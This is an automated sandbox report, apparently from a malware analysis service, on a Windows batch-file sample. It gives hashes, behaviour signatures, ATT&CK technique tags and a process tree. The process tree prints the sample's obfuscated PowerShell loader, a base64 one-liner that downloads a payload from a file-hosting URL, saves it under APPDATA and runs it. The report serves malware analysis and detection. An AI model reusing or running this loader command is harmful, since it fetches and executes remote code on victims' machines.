4a201990f85e7e5798d3297277e65b745359785663772ca064bfe4ae6c3bdf1a

Analysis

user interaction
yes
max time kernel
149s
max time network
153s
platform
windows11-21h2_x64
resource
win11-20260513-en
resource tags

arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows
submitted
28/07/2026, 06:27

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General

Target
xf974gvh.bat
Size 507B
Sample260728-g757js1sft
SHA256 4a201990f85e7e5798d3297277e65b745359785663772ca064bfe4ae6c3bdf1a
MD5 04ad4840741f6acbbc5981e32496ecc7
SHA1 8e8ff3392d82c76a9a5486dddb594b3ee04cdc61
SHA512 6d266a29066e476217d041d711578dc9eae530388c2bc105eb4f09c2ba9a629c557dc2a3e613acbc1b5d394f6410bf662e85f1bd10fe7186cf9fce3eb7cffb1b
TLSH
T143F00513116993CC159886F301206DA8432D77DB77241E4D73F4CB4C8B5351895DE7C4
MD5 SHA1 SHA512 TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 3 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
2	1868	powershell.exe
3	1868	powershell.exe
3	1868	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
1868	powershell.exe

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4964	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1868	powershell.exe
1868	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1868	powershell.exe

Suspicious use of WriteProcessMemory 1 IoCs

description	pid	Process	procid_target
PID 4964 wrote to memory of 1868	4964	cmd.exe	80

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\xf974gvh.bat"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4964
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell -ExecutionPolicy Bypass -NoProfile -Command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('CiRiYXNlNjQgPSAoaXdyIC1VcmkgJ2h0dHBzOi8vZmlsZXMuY2F0Ym94Lm1vZS9pb2JpYjUudHh0JykuQ29udGVudAokYnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRiYXNlNjQpCiRwYXRoID0gW1N5c3RlbS5JTy5QYXRoXTo6Q29tYmluZSgkZW52OkFQUERBVEEsICd4Zjk3NGd2aC5iYXQnKQpbU3lzdGVtLklPLkZpbGVdOjpXcml0ZUFsbEJ5dGVzKCRwYXRoLCAkYnl0ZXMpClN0YXJ0LVByb2Nlc3MgLUZpbGVQYXRoICRwYXRoCg==')) | Invoke-Expression"
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1868

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_jpzx5aos.rh4.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jpzx5aos.rh4.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/1868-0-0x00000243302B0000-0x00000243302C0000-memory.dmp

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memory/1868-1-0x00000243324E0000-0x0000024332502000-memory.dmp

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memory/1868-8-0x00000243302B0000-0x00000243302C0000-memory.dmp

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memory/1868-9-0x00000243302B0000-0x00000243302C0000-memory.dmp

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memory/1868-10-0x00000243302B0000-0x00000243302C0000-memory.dmp

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memory/1868-11-0x00000243302B0000-0x00000243302C0000-memory.dmp

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